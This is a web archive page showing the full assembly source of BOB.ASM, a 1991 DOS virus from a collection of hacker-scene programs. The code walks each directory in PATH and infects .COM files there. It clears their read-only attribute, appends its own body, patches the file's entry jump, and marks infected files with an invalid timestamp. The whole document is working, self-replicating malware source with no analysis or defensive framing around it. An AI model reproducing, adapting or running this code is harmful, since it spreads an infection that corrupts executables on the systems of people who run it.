home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / BOB.ASM < prev    next >
Assembly Source File  |  1991-07-02  |  11KB  |  248 lines

  1.  
  2.  
  3. MOV_CX  MACRO   X
  4.         DB      0B9H
  5.         DW      X
  6. ENDM
  7.  
  8.  
  9. CODE    SEGMENT
  10.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  11.         ORG     $+0100H
  12. VCODE:  JMP     virus
  13. v_start equ     $
  14. virus:  PUSH    CX
  15.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  16.                                         ; The 2nd and 3rd bytes get modified.
  17.         CLD                             ;Pointers will be auto INcremented
  18.         MOV     SI,DX                   ;Access data as offset from SI
  19.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  20.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  21.         MOV     CX,3
  22.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  23.         MOV     SI,DX                   ;Keep SI pointing to the data area
  24.      PUSH    ES
  25.      MOV     AH,2FH
  26.      INT     21H
  27.      MOV     [SI+old_dta],BX
  28.      MOV     [SI+old_dts],ES         ;Save the DTA address
  29.      POP     ES
  30.      MOV     DX,dta                  ;Offset of new DTA in virus data area
  31.      ADD     DX,SI                   ;Compute DTA address
  32.      MOV     AH,1AH
  33.      INT     21H                     ;Set new DTA to inside our own code
  34.      PUSH    ES
  35.      PUSH    SI
  36.      MOV     ES,DS:2CH
  37.      MOV     DI,0                    ;ES:DI points to environment
  38. find_path:
  39.         POP     SI
  40.         PUSH    SI                      ;Get SI back
  41.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  42.         LODSB
  43.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  44.         REPNZ   SCASB                   ;Search for first character
  45.         MOV     CX,4
  46. check_next_4:
  47.         LODSB
  48.         SCASB
  49.         JNZ     find_path               ;If not all there, abort & start over
  50.         LOOP    check_next_4            ;Loop to check the next character
  51.         POP     SI
  52.         POP     ES
  53.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  54.         MOV     DI,SI
  55.         ADD     DI,wrk_spc              ;File name workspace
  56.         MOV     BX,SI                   ;Save a copy of SI
  57.         ADD     SI,wrk_spc              ;Point SI to workspace
  58.         MOV     DI,SI                   ;Point DI to workspace
  59.         JMP     SHORT   slash_ok
  60. set_subdir:
  61.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  62.         JNZ     found_subdir            ;If not, there are more subdirectories
  63.         JMP     all_done                ;Else, we're all done
  64. found_subdir:
  65.         PUSH    DS
  66.         PUSH    SI
  67.         MOV     DS,ES:2CH               ;DS points to environment segment
  68.         MOV     DI,SI
  69.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  70.         ADD     DI,wrk_spc              ;DI points to file name workspace
  71. move_subdir:
  72.         LODSB                           ;Get character
  73.         CMP     AL,';'                  ;Is it a ';' delimiter?
  74.         JZ      moved_one               ;Yes, found another subdirectory
  75.         CMP     AL,0                    ;End of PATH string?
  76.         JZ      moved_last_one          ;Yes
  77.         STOSB                           ;Save PATH marker into [DI]
  78.         JMP     SHORT   move_subdir
  79. moved_last_one:
  80.         MOV     SI,0
  81. moved_one:
  82.         POP     BX                      ;Pointer to virus data area
  83.         POP     DS                      ;Restore DS
  84.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  85.         CMP     CH,'\'                  ;Ends with "\"?
  86.         JZ      slash_ok                ;If yes
  87.         MOV     AL,'\'                  ;Add one, if not
  88.         STOSB
  89. slash_ok:
  90.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  91.         MOV     SI,BX                   ;Restore SI
  92.         ADD     SI,f_spec               ;Point to "*.COM"
  93.         MOV     CX,6
  94.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  95.         MOV     SI,BX
  96.         MOV     AH,4EH
  97.         MOV     DX,wrk_spc
  98.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  99.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  100.         INT     21H
  101.         JMP     SHORT   find_first
  102. find_next:
  103.         MOV     AH,4FH
  104.         INT     21H
  105. find_first:
  106.         JNB     found_file              ;Jump if we found it
  107.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  108. found_file:
  109.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  110.         AND     AL,1FH                  ;Mask to remove all but seconds
  111.         CMP     AL,1FH                  ;62 seconds -> already infected
  112.         JZ      find_next               ;If so, go find another file
  113.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  114.         JA      find_next               ;If too long, find another one
  115.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  116.         JB      find_next               ;Then go find another one
  117.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  118.         PUSH    SI                      ;Save SI
  119.         ADD     SI,dta_nam              ;Point SI to file name
  120. more_chars:
  121.         LODSB
  122.         STOSB
  123.         CMP     AL,0
  124.         JNZ     more_chars              ;Move characters until we find a 00
  125.         POP     SI
  126.         MOV     AX,OFFSET 4300H
  127.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  128.         ADD     DX,SI
  129.         INT     21H
  130.         MOV     [SI+old_att],CX         ;Save the old attributes
  131.         MOV     AX,OFFSET 4301H         ;Set attributes
  132.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  133.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  134.         ADD     DX,SI                   ;Point to \path\name
  135.         INT     21H
  136.         MOV     AX,OFFSET 3D02H         ;Read/Write
  137.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  138.         ADD     DX,SI                   ;Point to \path\name
  139.         INT     21H
  140.         JNB     opened_ok               ;If file was opened OK
  141.         JMP     fix_attr                ;If it failed, restore the attributes
  142. opened_ok:
  143.         MOV     BX,AX
  144.         MOV     AX,OFFSET 5700H
  145.         INT     21H
  146.         MOV     [SI+old_tim],CX         ;Save file time
  147.         MOV     [SI+ol_date],DX         ;Save the date
  148.         MOV     AX,OFFSET 4202H
  149.         MOV     CX,0
  150.         MOV     DX,0
  151.         INT     21H
  152.         MOV     CX,AX           ;DX:AX (long int) = file size
  153.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  154.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  155.         ADD     CX,OFFSET c_len_y
  156.         MOV     DI,SI           ;Point DI to virus data area
  157.         SUB     DI,OFFSET c_len_x
  158.                                 ;Point DI to reference vir_dat, at start of pgm
  159.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  160.         MOV     AH,40H
  161.         MOV_CX  virlen                  ;Length of virus, in bytes
  162.         MOV     DX,SI
  163.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  164.                                         ; address of virus code in memory
  165.         INT     21H
  166.         CMP     AX,OFFSET virlen        ;All bytes written?
  167.         MOV     AX,OFFSET 4200H
  168.         MOV     CX,0
  169.         MOV     DX,0
  170.         INT     21H
  171.         MOV     AH,40H
  172.         MOV     CX,3
  173.         MOV     DX,SI                   ;Virus data area
  174.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  175.         INT     21H
  176.         MOV     AH,3EH
  177.         INT     21H
  178. fix_attr:
  179.         MOV     AX,OFFSET 4301H
  180.         MOV     CX,[SI+old_att]         ;Old Attributes
  181.         MOV     DX,wrk_spc
  182.         ADD     DX,SI                   ;DX points to \path\name in workspace
  183.         INT     21H
  184. all_done:
  185.         PUSH    DS
  186.         MOV     AH,1AH
  187.         MOV     DX,[SI+old_dta]
  188.         MOV     DS,[SI+old_dts]
  189.         INT     21H
  190.         POP     DS
  191. quit:
  192.         POP     CX
  193.         XOR     AX,AX
  194.         XOR     BX,BX
  195.         XOR     DX,DX
  196.         XOR     SI,SI
  197.         MOV     DI,OFFSET 0100H
  198.         PUSH    DI
  199.         XOR     DI,DI
  200.         RET     0FFFFH
  201. vir_dat EQU     $
  202. olddta_ DW      0                       ;Old DTA offset
  203. olddts_ DW      0                       ;Old DTA segment
  204. oldtim_ DW      0                       ;Old Time
  205. oldate_ DW      0                       ;Old date
  206. oldatt_ DW      0                       ;Old file attributes
  207. first3_ EQU     $
  208.         INT     20H
  209.         NOP
  210. jmpop_  DB      0E9H                    ;Start of JMP instruction
  211. jmpdsp_ DW      0                       ;The displacement part
  212. fspec_  DB      '*.COM',0
  213. pathad_ DW      0                       ;Path address
  214. namptr_ DW      0                       ;Pointer to start of file name
  215. envstr_ DB      'PATH='                 ;Find this in the environment
  216. wrkspc_ DB      40h dup (0)
  217. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  218. dtatim_ DW      0,0                     ;Time stamp in DTA
  219. dtalen_ DW      0,0                     ;File length in the DTA
  220. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  221. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  222. lst_byt EQU     $                       ;All lines that assemble into code are
  223.                                         ;  above this one
  224. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  225. codelen =       vir_dat - v_start       ;Length of virus code, only
  226. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  227. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  228. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  229. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  230. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  231. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  232. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  233. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  234. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  235. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  236. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  237. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  238. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  239. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  240. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  241. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  242. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  243. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  244. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  245. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  246.         CODE    ENDS
  247. END     VCODE
  248.